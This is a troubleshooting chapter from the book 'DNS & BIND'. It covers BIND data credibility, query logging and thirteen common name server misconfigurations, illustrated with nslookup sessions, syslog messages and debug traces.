A 4.8.3 name server only had two credibility levels - locally authoritative data, and everything else. The locally authoritative data were data from your zone files - your name server knew better than to update its internal copy of what came from your zone file. But, all data from remote name servers were considered equal.

Here is a situation that could happen, and the way a 4.8.3 server would deal with it. Suppose that your server looked up an address for terminator.movie.edu and received an authoritative answer from the movie.edu name server. (Remember, an authoritative answer is the best you can get.) Sometime later while looking up foo.ora.com, your server receives another address record for terminator.movie.edu, but this time as part of the delegation info for ora.com (which terminator.movie.edu backs up). The 4.8.3 name server would update the cached address record for terminator.movie.edu, even though the data came from the com name server instead of the authoritative movie.edu name server. Of course, the com and movie.edu name servers will have exactly the same data for terminator, so this won't be a problem, right? Yeah, and it never rains in southern California, either.

A 4.9 or 8 name server is more intelligent. Like a 4.8.3 name server, it still considers your zone data beyond any doubt. But a 4.9 name server distinguishes among the different data from remote name servers. Here is the hierarchy of remote data credibility from most credible to least:

auth

These records are data from authoritative answers - the answer section of a response packet with the authoritative answer bit set.

answer

These records are data from nonauthoritative, or cached, answers - the answer section of a response packet without the authoritative answer bit set.

addtnl

These records are data from the rest of the response packet - the authority and additional. The authority section of the response contains NS records that delegate a domain to an authoritative name server. The additional section contains address records that may complete information in other sections (i.e., address records that go with NS records in the authority section).

There is one exception to this rule: when the server is priming its root name server cache, the records that would be at credibility addtnl are bumped up to answer credibility, to make them harder to change accidentally. Notice in the dump that the address records for root name servers are at credibility answer, but the address records for the purdue.edu name servers are at credibility addtnl.

In the situation just described, a 4.9 or 8 name server would not replace the authoritative data (credibility = auth) for terminator.movie.edu with the delegation data (credibility = addtnl) because the authoritative answer has higher credibility.

13.2.3 Logging Queries

BIND version 4.9 added a feature, query logging, which can be used to help diagnose certain problems. When query logging is turned on, a running name server will log every query with syslog. This feature could help you find resolver configuration errors, because you can check that the name you think is being looked up really is the name being looked up.

First you must make sure that LOG_INFO messages are being logged by syslog for the facility daemon. Next you need to turn on query logging. This can be done three ways: for BIND 4.9, set options query-log in your name server boot file; for BIND 4.9 or BIND 8, start the name server with -q on the command line, or send a WINCH signal to a running name server. You'll start seeing syslog messages like this:

Feb 20 21:43:25 terminator named[3830]:
                     XX /192.253.253.2/carrie.movie.edu/A
Feb 20 21:43:32 terminator named[3830]:
                     XX /192.253.253.2/4.253.253.192.in-addr.arpa/PTR

These messages include the IP address of the host that made the query and the query itself. Inverse queries will have a dash before the query type (i.e., an inverse query for an address record would be logged as "-A" instead of just "A"). After enough queries have been logged, you can turn off query logging by sending a WINCH signal to your name server.

Previous: 13.1 Is NIS Really Your Problem? | DNS & BIND | Next: 13.3 Potential Problem List
13.1 Is NIS Really Your Problem? | Book Index | 13.3 Potential Problem List


[Chapter 13] 13.3 Potential Problem List

DNS & BIND

DNS & BINDSearch this book
Previous: 13.2 Troubleshooting Tools and Techniques Chapter 13
Troubleshooting DNS and BIND 		Next: 13.4 Transition Problems

13.3 Potential Problem List

Now that we've given you a nice set of tools, let's talk about how you can use them to diagnose real problems. There are some problems that are easy to recognize and correct. We should cover these as a matter of course - they're some of the most common problems because they're caused by some of the most common mistakes. Here are the contestants, in no particular order. We call 'em our "Unlucky Thirteen."

13.3.1 1. Forgot to Increment Serial Number

The main symptom of this problem is that slave name servers don't pick up any changes you make to the zone's db file on the primary. The slaves think the zone data hasn't changed, since the serial number is still the same.

How do you check whether or not you remembered to increment the serial number? Unfortunately, that's not so easy. If you don't remember what the old serial number was, and your serial number gives you no indication of when it was updated, there's no direct way to tell whether it's changed.[1] When you signal the primary, it will load the updated zone file regardless of whether you've changed the serial number. It will check the file's timestamp, see that it's been modified since it last loaded the data, and read the file. About the best you can do is to use nslookup to compare the data returned by the primary and by a slave. If they return different data, you probably forgot to increment the serial number. If you can remember a recent change you made, you can look for that data. If you can't remember a recent change, you could try transferring the zone from a primary and from a slave, sorting the results, and using diff to compare them.

[1] On the other hand, if you encode the date into the serial number, as many people do (e.g., 1998010500 is the first rev of data on January 5, 1998), you may be able to tell at a glance whether you updated the serial number when you made the change.

The good news is that, although determining whether the zone was transferred is tricky, making sure the zone is transferred is simple. Just increment the serial number on the primary's copy of the db file and signal the primary to reload. The slaves should pick up the new data within their refresh interval, or sooner if they use NOTIFY. If you want to make sure the slaves can transfer the new data, you can execute named-xfer by hand (on the slaves, naturally):

# /etc/named-xfer -z movie.edu -f db.movie -s 0 terminator
# echo $?

If named-xfer returns 1, the zone was transferred successfully. Other return values indicate that no zone was transferred, either because of an error or because the slave thought the zone was up-to-date. (See Section 13.2.1, "How to Use named-xfer," earlier in this chapter, for more details.)

There's another variation on the "forgot to increment the serial number" line. We see it in environments where administrators use tools like h2n to create db files from the host table. With scripts like h2n, it's temptingly easy to delete old db files and create new ones from scratch. Some administrators do this occasionally because they mistakenly believe that data in the old db files can creep into the new ones. The problem with deleting the db files is that, without the old db file to read for the current serial number, h2n starts over at serial number 1. If your primary's serial number rolls all the way back to 1 from 598 or what-have-you, the slaves (versions 4.8.3 and earlier) don't complain; they just figure they're all caught up and don't need zone transfers. A 4.9 or later slave server, however, is ever watchful, and will emit a syslog error message warning you that something might be wrong:

Jun  7 20:14:26 wormhole named[29618]: Zone "movie.edu"
                (class 1) SOA serial# (1) rcvd from [192.249.249.3]
                is < ours (112)

So if the serial number on the primary looks suspiciously low, check the serial number on the slaves, too, and compare them:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> set q=soa
> movie.edu.
Server:  terminator.movie.edu
Address:  192.249.249.3

movie.edu
        origin = terminator.movie.edu
        mail addr = al.robocop.movie.edu
        serial = 1
        refresh = 10800 (3 hours)
        retry   = 3600 (1 hour)
        expire  = 604800 (7 days)
        minimum ttl = 86400 (1 day)
> server wormhole.movie.edu.
Default Server:  wormhole.movie.edu
Addresses:  192.249.249.1, 192.253.253.1

> movie.edu.
Server:  wormhole.movie.edu
Addresses:  192.249.249.1, 192.253.253.1

movie.edu
        origin = terminator.movie.edu
        mail addr = al.robocop.movie.edu
        serial = 112
        refresh = 10800 (3 hours)
        retry   = 3600 (1 hour)
        expire  = 604800 (7 days)
        minimum ttl = 86400 (1 day)

wormhole, as a movie.edu slave, should never have a larger serial number than the primary master, so clearly something's amiss.

This problem is really easy to spot, by the way, with the tool we'll write in Chapter 14, Programming with the Resolver and Name Server Library Routines, coming up next.

13.3.2 2. Forgot to Signal Primary Master Server

Occasionally, you may forget to signal your primary master name server after making a change to the conf file or to the db file. The name server won't know to load the new data - it doesn't automatically check the timestamp of the file and notice that it changed. Consequently, any changes you've made won't be reflected in the name server's data: new zones won't be loaded, and new records won't percolate out to the slaves.

To check when you last signaled the name server to reload, scan the syslog output for the last entry like this:

Mar  8 17:22:08 terminator named[22317]: reloading nameserver

This is the last time you sent a HUP signal to the name server. If you killed and then restarted the name server, you'll see an entry like this:

Mar  8 17:22:08 terminator named[22317]: restarted

or, on a 4.9 name server:

Mar  8 17:22:08 terminator named[22317]: starting

If the time of the restart doesn't correlate with the time you made the last change, signal the name server to reload its data again. And check that you incremented the serial numbers on db files you changed, too.

13.3.3 3. Slave Server Can't Load Zone Data

If a slave name server can't get the current serial number for a zone from its master name server, it'll log a message like the following via syslog:

Jan  6 11:55:25 wormhole named[544]: Err/TO getting serial# for "movie.edu"

On a BIND 4 name server, that looks like this:

Mar  3 8:19:34 wormhole named[22261]: zoneref: Masters for secondary
       zone movie.edu unreachable

If you let this problem fester, the slave will expire the zone:

Mar  8 17:12:43 wormhole named[22261]: secondary zone
       "movie.edu" expired

Once the zone has expired, you'll start getting SERVFAIL errors when you query the name server for data in the zone:

% nslookup robocop wormhole.movie.edu.
Server:  wormhole.movie.edu
Addresses:  192.249.249.1, 192.253.253.1

*** wormhole.movie.edu can't find robocop.movie.edu: Server failed

There are three leading causes of this problem: a loss in connectivity to the master server due to network failure, an incorrect IP address for the master server in the conf file, and a syntax error in the zone data file on the master server. First check the conf file's entry for the zone and see what IP address the slave is attempting to load from:

zone "movie.edu" {
                type slave;
                file "db.movie";
                masters { 192.249.249.3; };
};

On a BIND 4 server, the directive would look like this:

secondary        movie.edu        192.249.249.3        db.movie

Make sure that's really the IP address of the master name server. If it is, check connectivity to that IP address:

% ping 192.249.249.3 -n 10
PING 192.249.249.3: 64 byte packets

----192.249.249.3 PING Statistics----
10 packets transmitted, 0 packets received, 100% packet loss

If the master server isn't reachable, make sure that the server's host is really running (e.g., is powered on, etc.), or look for a network problem. If the server is reachable, make sure named is running on the host, and that you can manually transfer the zone:

# named-xfer -z movie.edu -f /tmp/db.movie -s 0 192.249.249.3
# echo $?
2

A return code of 2 means that an error occurred. Check to see if there is a syslog message. In this case there was a message:

Jan  6 14:56:07 zardoz named-xfer[695]: record too short from [192.249.249.3], zone movie.edu

At first glance, this error looks like a truncation problem. The real problem is easier to see if you use nslookup:

% nslookup - terminator.movie.edu
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> ls movie.edu                  --This attempts a zone transfer
[terminator.movie.edu]
*** Can't list domain movie.edu: Query refused

What has happened here is that named is refusing to allow you to transfer its zone data. The remote server has secured its zone data with the allow-transfer substatement, the secure_zone resource record, or xfrnets boot file directive.

If the master server is responding as not authoritative for the zone, you'll see a message like this:

Jan  6 11:58:36 zardoz named[544]: Err/TO getting serial# for "movie.edu"
Jan  6 11:58:36 zardoz named-xfer[793]: [192.249.249.3] not authoritative for
     movie.edu, SOA query got rcode 0, aa 0, ancount 0, aucount 0

If this is the correct master server, the server should be authoritative for the zone. This probably indicates that the master had a problem loading the zone, usually because of a syntax error in the zone data file. Contact the administrator of the master server and have him check his syslog output for indications of a syntax error (see problem 5, later in this chapter).

13.3.4 4. Added Name to Database File, but Forgot to Add PTR Record

Because the mappings from host names to IP addresses are disjointed from the mappings from IP addresses to host names in DNS, it's easy to forget to add a PTR record for a new host. Adding the A record is intuitive, but many people who are used to host tables assume that adding an address record takes care of the reverse mapping, too. That's not true - you need to add a PTR record for the host to the appropriate in-addr.arpa domain.

Forgetting to add the PTR record for a host usually causes that host to fail authentication checks. For example, users on the host won't be able to rlogin to other hosts without specifying a password, and rsh or rcp to other hosts simply won't work. The servers these commands talk to need to be able to map the connection's IP address to a domain name to check .rhosts and hosts.equiv. These users' connections will cause entries like this to be syslogged:

Aug 15 17:32:36 terminator inetd[23194]: login/tcp:
       Connection from unknown (192.249.249.23)

Also, many large ftp archives, including ftp.uu.net, refuse anonymous ftp access to hosts whose IP addresses don't map back to domain names. ftp.uu.net's ftp server emits a message that reads, in part:

530- Sorry, we're unable to map your IP address 140.186.66.1 to a hostname
530- in the DNS.  This is probably because your nameserver does not have a
530- PTR record for your address in its tables, or because your reverse
530- nameservers are not registered.  We refuse service to hosts whose
530- names we cannot resolve.

That makes the reason you can't use anonymous ftp pretty evident. Other ftp sites, however, don't bother printing informative messages; they simply deny service.

nslookup is handy for checking whether you've forgotten the PTR record or not:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> beetlejuice      --Check for a hostname-to-address mapping
Server:  terminator.movie.edu
Address:  192.249.249.3

Name:    beetlejuice.movie.edu
Address:  192.249.249.23

> 192.249.249.23  --Now check for a corresponding address-to-hostname mapping
Server:  terminator.movie.edu
Address:  192.249.249.3

*** terminator.movie.edu can't find 192.249.249.23: Non-existent domain

On the primary for 249.249.192.in-addr.arpa, a quick check of the db.192.249.249 file will tell you if the PTR record hasn't been added to the db file yet, or if the name server hasn't been signaled to load the file. If the name server having trouble is a slave for the zone, check that the serial number was incremented on the primary and that the slave has had enough time to load the zone.

13.3.5 5. Syntax Error in the Conf File or DNS Database File

Syntax errors in the conf file and in zone database files are also relatively common (more or less, depending on the experience of the administrator). Generally, an error in the conf file will cause the name server to fail to load one or more zones. Some typos in the options statement will cause the name server to fail to start at all, and to log an error like this via syslog:

Jan  6 11:59:29 terminator named[544]: can't change directory to /var/name: No
     such file or directory

Note that you won't see an error message when you try to start named on the command line, but named won't stay running for long.

If the syntax error is in a less important line in the boot file - say, in zone statement - only that zone will be affected. Usually, the name server will not be able to load the zone at all (say, you misspell "master" or the name of the data file, or you forget to put quotes around the file name or domain name). This would produce syslog output like:

Jan  6 12:01:36 terminator named[841]: /etc/named.conf:10: syntax error near
     'movie.edu'

If a db file contains a syntax error, yet the name server succeeds in loading the zone, it will either answer as "non-authoritative" for all data in the zone or will return a SERVFAIL error for lookups in the zone:

% nslookup carrie
Server:  terminator.movie.edu
Address:  192.249.249.3

Non-authoritative answer:
Name:    carrie.movie.edu
Address:  192.253.253.4

Here's the syslog message produced by the syntax error that caused this problem:

Jan  6 15:07:46 huskymo named[693]: db.movie:11: Priority error
     (postmanrings2x.movie.edu.)
Jan  6 15:07:46 huskymo named[693]: master zone "movie.edu" (IN) rejected due
     to errors (serial 1997010600)
Jan  6 15:07:46 huskymo named[693]: slave zone "movie.edu" (IN) removed

If you looked in the db file for the problem, you'd find this record:

postmanrings2x     IN     MX     postmanrings2x.movie.edu.

The MX record is missing the preference field, which causes the error.

Note that unless you correlate the lack of authority (when you expect the name server to be authoritative) with a problem, or scan your syslog file assiduously, you might never notice the syntax error!

Starting with BIND 4.9.4, an "invalid" host name can be a syntax error:

Jan  6 12:04:10 terminator named[841]: owner name "ID_4.movie.edu" IN (primary)
     is invalid - rejecting
Jan  6 12:04:10 terminator named[841]: db.movie:11: owner name error
Jan  6 12:04:10 terminator named[841]: db.movie:11: Database error (a)
Jan  6 12:04:10 terminator named[841]: master zone "movie.edu" (IN) rejected
     due to errors (serial 1997010600)

13.3.6 6. Missing Dot at the End of a Name in a DNS Database File

It's very easy to leave off trailing dots when editing a db file. Since the rules for when to use them change so often (don't use them in the boot file, don't use them in resolv.conf, do use them in db files to override $ORIGIN...), it's hard to keep them straight. These resource records:

zorba         IN     MX     10 zelig.movie.edu
movie.edu     IN     NS     terminator.movie.edu

really don't look that odd to the untrained eye, but they probably don't do what they're intended to. In the db.movie file, they'd be equivalent to:

zorba.movie.edu.        IN    MX    10 zelig.movie.edu.movie.edu.
movie.edu.movie.edu.    IN    NS    terminator.movie.edu.movie.edu.

unless the origin were explicitly changed.

If you omit a trailing dot after a domain name in the resource record's data (as opposed to leaving off a trailing dot in the resource record's name), you usually end up with wacky NS or MX records:

% nslookup -type=mx zorba.movie.edu.
Server:  terminator.movie.edu
Address:  192.249.249.3

zorba.movie.edu      preference = 10, mail exchanger
                     = zelig.movie.edu.movie.edu
zorba.movie.edu      preference = 50, mail exchanger
                     = postmanrings2x.movie.edu.movie.edu

The cause of this should be fairly clear from the nslookup output. But if you forget the trailing dot on the domain name field in a record (as in the movie.edu NS record above), spotting your mistake might not be as easy. If you try to look up the record with nslookup, you won't find it under the name you thought you used. Dumping your name server's database may help you root it out:

$ORIGIN edu.movie.edu.
movie    IN    NS    terminator.movie.edu.movie.edu.

The $ORIGIN line looks odd enough to stand out.

13.3.7 7. Missing Cache Data

If, for some reason, you forget to install a cache file on your host, or if you accidentally delete it, your name server will be unable to resolve names outside of its authoritative data. This behavior is easy to recognize using nslookup, but be careful to use full, dot-terminated domain names, or else the search list may cause misleading failures.

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> ftp.uu.net.     - A lookup of a name outside your name server's authoritative data
                                         - causes a SERVFAIL error...
Server:  terminator.movie.edu
Address:  192.249.249.3

*** terminator.movie.edu can't find ftp.uu.net.: Server failed

A lookup of a name in your name server's authoritative data returns a response:

> wormhole.movie.edu.
Server:  terminator.movie.edu
Address:  192.249.249.3

Name:    wormhole.movie.edu
Addresses:  192.249.249.1, 192.253.253.1

> ^D

To confirm your suspicion that the cache data are missing, check the syslog output for an error like this:

 Jan  6 15:10:22 terminator named[764]: No root nameservers for class IN

Class 1, you'll remember, is the IN, or Internet, class. This error indicates that because no cache data were available, no root name servers were found.

13.3.8 8. Loss of Network Connectivity

Though the Internet is more reliable today than it was back in the wild and woolly days of the ARPANET, network outages are still relatively common. Without "lifting the hood" and poking around in debugging output, these failures usually look like poor performance:

% nslookup nisc.sri.com.
Server:  terminator.movie.edu
Address:  192.249.249.3

*** Request to terminator.movie.edu timed out ***

If you turn on name server debugging, though, you'll see that your name server, anyway, is healthy. It received the query from the resolver, sent the necessary queries, and waited patiently for a response. It just didn't get one. Here's what the debugging output might look like:

Debug turned ON, Level 1

Here nslookup sends the first query to our local name server, for the IP address of nisc.sri.com. You can tell it's not another name server because the query is received from a port other than 53, the name server's port. Notice that the query is forwarded to another name server, and when no answer is received, it is resent to a different name server:

datagram from [192.249.249.3].1051, fd 5, len 30
req: nlookup(nisc.sri.com) id 18470 type=1 class=1
req: missed 'nisc.sri.com' as 'com' (cname=0)
forw: forw -> [198.41.0.4].53 ds=7 nsid=58732 id=18470 0ms retry 4 sec
resend(addr=1 n=0) -> [128.9.0.107].53 ds=7 nsid=58732 id=18470 0ms

Now nslookup is getting impatient, and it queries our local name server again. Notice that it uses the same port. The local name server ignores the duplicate query and tries forwarding the query two more times:

datagram from [192.249.249.3].1051, fd 5, len 30
req: nlookup(nisc.sri.com) id 18470 type=1 class=1
req: missed 'nisc.sri.com' as 'com' (cname=0)
resend(addr=2 n=0) -> [192.33.4.12].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=3 n=0) -> [128.8.10.90].53 ds=7 nsid=58732 id=18470 0ms

nslookup queries the local name server again, and the name server fires off more queries:

datagram from [192.249.249.3].1051, fd 5, len 30
req: nlookup(nisc.sri.com) id 18470 type=1 class=1
req: missed 'nisc.sri.com' as 'com' (cname=0)
resend(addr=4 n=0) -> [192.203.230.10].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=0 n=1) -> [198.41.0.4].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=1 n=1) -> [128.9.0.107].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=2 n=1) -> [192.33.4.12].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=3 n=1) -> [128.8.10.90].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=4 n=1) -> [192.203.230.10].53 ds=7 nsid=58732 id=18470 0ms
resend(addr=0 n=2) -> [198.41.0.4].53 ds=7 nsid=58732 id=18470 0ms
Debug turned OFF

From the debugging output, you can extract a list of the IP addresses of the name servers that your name server tried to query, and then check your connectivity to them. Odds are, ping won't have much better luck than your name server did:

% ping 198.41.0.4 -n 10 --ping first name server queried
PING 198.41.0.4: 64 byte packets

----198.41.0.4 PING Statistics----
10 packets transmitted, 0 packets received, 100% packet loss
% ping 128.9.0.107 -n 10 --ping second name server queried
PING 128.9.0.107: 64 byte packets

----128.9.0.107 PING Statistics----
10 packets transmitted, 0 packets received, 100% packet loss

If it does, you should check that the remote name servers are really running. You might also check whether your Internet firewall is inadvertently blocking your name server's queries. If you've upgraded to BIND 8 recently, see the sidebar "A Gotcha with BIND 8 and Packet Filtering Firewalls", and see if it applies to you.

If ping can't get through, either, all that's left to do is to locate the break in the network. Utilities like traceroute and ping's record route option can be very helpful in determining whether the problem is on your network, the destination network, or somewhere in the middle.

You should also use your own common sense when tracking down the break. In this trace, for example, the remote name servers your name server tried to query are all root name servers. (You might have had their PTR records cached somewhere, so you could find out their domain names.) Now it's not very likely that each root's local network went down, nor is it likely that the Internet's commercial backbone networks collapsed entirely. Occam's razor says that the simplest condition that could cause this behavior - namely, the loss of your network's link to the Internet - is the most likely cause.

13.3.9 9. Missing Subdomain Delegation

Even though the InterNIC does its best to process your requests as quickly as possible, it may take a day or two for your domain's delegation to appear in the root name servers. If the InterNIC doesn't manage your parent domain, your mileage may vary. Some parents are quick and responsible, others are slow and inconsistent. Just like in real life, though, you're stuck with them.[2]

[2] Until the GTLD Memorandum of Understanding is adopted, that is. See http://www.gtld-mou.org/.

Until your delegation data appear in your parent domain's name servers, your name servers will be able to look up data in the Internet domain name space, but no one else on the Internet (outside of your domain) will know how to look up data in your name space.

That means that even though you can send mail outside of your domain, the recipients won't be able to reply to it. Furthermore, no one will be able to telnet to, ftp to, or even ping your hosts by name.

Remember that this applies equally to any in-addr.arpa subdomains you may run. Until the parent delegates those subdomains to your servers, name servers on the Internet won't be able to reverse map addresses on your networks.

To determine whether or not your zone's delegation has made it into your parent zone's name servers, query a parent name server for the NS records for your zone. If the parent name server has the data, any name server on the Internet can find it:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> server a.root-servers.net. --Query a root name server
Default Server:  a.root-servers.net
Address:  198.41.0.4

> set norecurse              - Instruct the server to answer out of its own data
> set type=ns                - and to look for NS records
> 249.249.192.in-addr.arpa.  - for 249.249.192.in-addr.arpa
Server:  a.root-servers.net
Address:  198.41.0.4

*** a.root-servers.net can't find 249.249.192.in-addr.arpa.: Non-existent domain

Here, the delegation clearly hasn't been added yet. You can either wait patiently, or if an unreasonable amount of time has passed since you requested delegation from your parent, contact your parent and ask what's up.

13.3.10 10. Incorrect Subdomain Delegation

Incorrect subdomain delegation is another familiar problem on the Internet. Keeping delegation up to date requires human intervention - informing your parent zone's administrator of changes to your set of authoritative name servers. Consequently, delegation information often becomes inaccurate as administrators make changes without letting their parents know. Far too many administrators believe that setting up delegation is a one-shot deal: they let their parents know which name servers are authoritative once, when they set up their zone, and then they never talk to them again. They don't even call on Mother's Day.

An administrator may add a new name server, decommission another, and change the IP address of a third, all without telling the parent zone's administrator. Gradually, the number of name servers correctly delegated to by the parent zone dwindles. In the best case, this leads to long resolution times, as querying name servers struggle to find an authoritative name server for the zone. If the delegation information becomes badly out of date, and the last authoritative name server host is brought down for maintenance, the information within the zone will be inaccessible.

If you suspect bad delegation from your parent to your zone, from your zone to one of your children, or from a remote zone to one of its children, you can check with nslookup:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> server a.root-servers.net.      - Set server to the parent name server you suspect
                                                        has bad delegation
Default Server:  a.root-servers.net
Address:  198.41.0.4

> set type=ns                     - Look for NS records
> hp.com.                         - for the zone in question
Server:  a.root-servers.net
Address:  198.41.0.4

Non-authoritative answer:
hp.com          nameserver = RELAY.HP.COM
hp.com          nameserver = HPLABS.HPL.HP.COM
hp.com          nameserver = NNSC.NSF.NET
hp.com          nameserver = HPSDLO.SDD.HP.COM

Authoritative answers can be found from:
hp.com          nameserver = RELAY.HP.COM
hp.com          nameserver = HPLABS.HPL.HP.COM
hp.com          nameserver = NNSC.NSF.NET
hp.com          nameserver = HPSDLO.SDD.HP.COM
RELAY.HP.COM    internet address = 15.255.152.2
HPLABS.HPL.HP.COM       internet address = 15.255.176.47
NNSC.NSF.NET    internet address = 128.89.1.178
HPSDLO.SDD.HP.COM       internet address = 15.255.160.64
HPSDLO.SDD.HP.COM       internet address = 15.26.112.11

Let's say you suspect that the delegation to hpsdlo.sdd.hp.com is incorrect. You now query hpsdlo for data in the hp.com zone and check the answer:

> server hpsdlo.sdd.hp.com.
Default Server:  hpsdlo.sdd.hp.com
Addresses:  15.255.160.64, 15.26.112.11

> set norecurse
> set type=soa
> hp.com.
Server:  hpsdlo.sdd.hp.com
Addresses:  15.255.160.64, 15.26.112.11

Non-authoritative answer:
hp.com
        origin = relay.hp.com
        mail addr = hostmaster.hp.com
        serial = 1001462
        refresh = 21600 (6 hours)
        retry   = 3600 (1 hour)
        expire  = 604800 (7 days)
        minimum ttl = 86400 (1 day)

Authoritative answers can be found from:
hp.com          nameserver = RELAY.HP.COM
hp.com          nameserver = HPLABS.HPL.HP.COM
hp.com          nameserver = NNSC.NSF.NET
RELAY.HP.COM    internet address = 15.255.152.2
HPLABS.HPL.HP.COM       internet address = 15.255.176.47
NNSC.NSF.NET    internet address = 128.89.1.178

If hpsdlo really were authoritative, it would have responded with an authoritative answer. The administrator of the hp.com zone can tell you whether hpsdlo should be an authoritative name server for hp.com, so that's who you should contact.

Another common symptom of this is a "lame server" error message:

Oct 1 04:43:38 terminator named[146]: Lame server on '40.234.23.210.in-addr.arpa' (in '210.in-addr.arpa'?): [198.41.0.5].53 'RS0.INTERNIC.NET': learnt(A=198.41.0.21,NS=128.63.2.53)

Here's how to read that: your name server was referred by the name server at 128.63.2.53 to the name server at 198.41.0.5 for a name in the domain 210.in-addr.arpa specifically 40.234.23.210.in-addr.arpa. The server at 198.41.0.5's response indicated that it wasn't, in fact, authoritative for 210.in-addr.arpa, and therefore either the delegation that 128.63.2.53 gave you is wrong or the server at 198.41.0.5 is misconfigured.

13.3.11 11. Syntax Error in resolv.conf

Despite the resolv.conf file's simple syntax, people do occasionally make mistakes when editing it. And, unfortunately, lines with syntax errors in resolv.conf are silently ignored by the resolver. The result is usually that some part of your intended configuration doesn't take effect: either your domain or search list isn't set correctly, or the resolver won't query one of the name servers you configured it to query. Commands that rely on the search list won't work, your resolver won't query the right name server(s), or it won't query a name server at all.

The easiest way to check whether your resolv.conf file is having the intended effect is to run nslookup. nslookup will kindly report the default domain and search list it derives from resolv.conf, plus the name server it's querying, when you type set all, as we showed you in Chapter 11, nslookup:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> set all
Default Server:  terminator.movie.edu
Address:  192.249.249.3

Set options:
  nodebug         defname          search         recurse
  nod2            novc             noignoretc     port=53
  querytype=A     class=IN         timeout=5      retry=4
  root=ns.nic.ddn.mil.
  domain=movie.edu
  srchlist=movie.edu

>

Check that the output of set all is what you expect, given your resolv.conf file. For example, if you'd set search fx.movie.edu movie.edu in resolv.conf, you'd expect to see:

domain=fx.movie.edu
srchlist=fx.movie.edu/movie.edu

in the output. If you don't see what you're expecting, look carefully at resolv.conf. If you don't see anything obvious, look for nonprinting characters (with vi's set list command, for example). Watch out for trailing spaces, especially; a trailing space after the domain name will set the default domain to include a space. No real domain names actually end with spaces, so all of your non-dot-terminated lookups will fail.

13.3.12 12. Default Domain Not Set

Failing to set your default domain is another old standby gaffe. You can set it implicitly, by setting your hostname to your host's fully qualified domain name, or explicitly, in resolv.conf. The characteristics of an unset default domain are straightforward: folks who use single-label names (or abbreviated domain names) in commands get no joy:

% telnet br
br: No address associated with name
% telnet br.fx
br.fx: No address associated with name
% telnet br.fx.movie.edu
Trying...
Connected to bladerunner.fx.movie.edu.
Escape character is '^]'.

HP-UX bladerunner.fx.movie.edu A.08.07 A 9000/730 (ttys1)
login:

You can use nslookup to check this one, much as you do when you suspect a syntax error in resolv.conf:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> set all
Default Server:  terminator.movie.edu
Address:  192.249.249.3

Set options:
  nodebug         defname         search          recurse
  nod2            novc            noignoretc      port=53
  querytype=A     class=IN        timeout=5       retry=4
  root=ns.nic.ddn.mil.
  domain=
  srchlist=

Notice that neither the local domain nor the search list is set. You can also track this down by enabling debugging on the name server. (This, of course, requires access to the name server, which may not be running on the host the problem's affecting.) Here's how the debugging output might look after trying those telnet commands:

Debug turned ON, Level 1

datagram from [192.249.249.3].1057, fd 5, len 20
req: nlookup(br) id 27974 type=1 class=1
req: missed 'br' as '' (cname=0)
forw: forw -> [198.41.0.4].53 ds=7 nsid=61691 id=27974 0ms retry 4 sec

datagram from [198.41.0.4].53, fd 5, len 20
ncache: dname br, type 1, class 1
send_msg -> [192.249.249.3].1057 (UDP 5) id=27974

datagram from [192.249.249.3].1059, fd 5, len 23
req: nlookup(br.fx) id 27975 type=1 class=1
req: missed 'br.fx' as '' (cname=0)
forw: forw -> [128.9.0.107].53 ds=7 nsid=61692 id=27975 0ms retry 4 sec

datagram from [128.9.0.107].53, fd 5, len 23
ncache: dname br.fx, type 1, class 1
send_msg -> [192.249.249.3].1059 (UDP 5) id=27975

datagram from [192.249.249.3].1060, fd 5, len 33
req: nlookup(br.fx.movie.edu) id 27976 type=1 class=1
req: found 'br.fx.movie.edu' as 'br.fx.movie.edu' (cname=0)
req: nlookup(bladerunner.fx.movie.edu) id 27976 type=1 class=1
req: found 'bladerunner.fx.movie.edu' as 'bladerunner.fx.movie.edu'
     (cname=1)
ns_req: answer -> [192.249.249.3].1060 fd=5 id=27976 size=183 Local
Debug turned OFF

Contrast this with the debugging output produced by the application of the search list in Chapter 12. The only names looked up here are exactly what the user typed, with no domains appended at all. Clearly the search list isn't being applied.

13.3.13 13. Response from Unexpected Source

One problem we've seen increasingly often in the DNS newsgroups is the "response from unexpected source." This was once called a Martian response: it's a response that comes from an IP address other than the one your server sent a query to. When a BIND name server sends a query to a remote server, BIND conscientiously makes sure that answers come only from the IP addresses on that server. This helps minimize the possibility of accepting spoofed responses. BIND is equally demanding of itself: a BIND server makes every effort to reply via the same network interface that it received a query on.

Here's the error message you'd see upon receiving a possibly unsolicited response:

Mar  8 17:21:04 terminator named[235]: Response from unexpected source ([205.199.4.131].53)

This can mean one of two things: either someone is trying to spoof your name server, or - more likely - you sent a query to an older BIND server or a different make of name server that's not as assiduous about replying from the same interface it receives queries on.

Previous: 13.2 Troubleshooting Tools and Techniques | DNS & BIND | Next: 13.4 Transition Problems
13.2 Troubleshooting Tools and Techniques | Book Index | 13.4 Transition Problems


[Chapter 13] 13.4 Transition Problems

DNS & BIND

DNS & BINDSearch this book
Previous: 13.3 Potential Problem List Chapter 13
Troubleshooting DNS and BIND 		Next: 13.5 Interoperability and Version Problems

13.4 Transition Problems

With the release of BIND 4.9, many UNIX operating systems are updating their resolver and name servers to include 4.9's new functionality. Some of 4.9's features, however, may seem like errors to you after you upgrade to a new version of your operating system. We'll try to give you an idea of some changes you may notice in your name service after making the jump.

13.4.1 Resolver Behavior

The changes to the resolver's default search list that we described in Chapter 6 may seem like a problem to your users. Recall that with a domain setting of fx.movie.edu, your default search list will no longer include movie.edu. Therefore, users accustomed to using commands like telnet db.personnel and having the partial domain name expanded to db.personnel.movie.edu will have their commands fail. To solve this problem, you can use the search directive to define an explicit search list that includes your default domain's parent domain.

13.4.2 Name Server Behavior

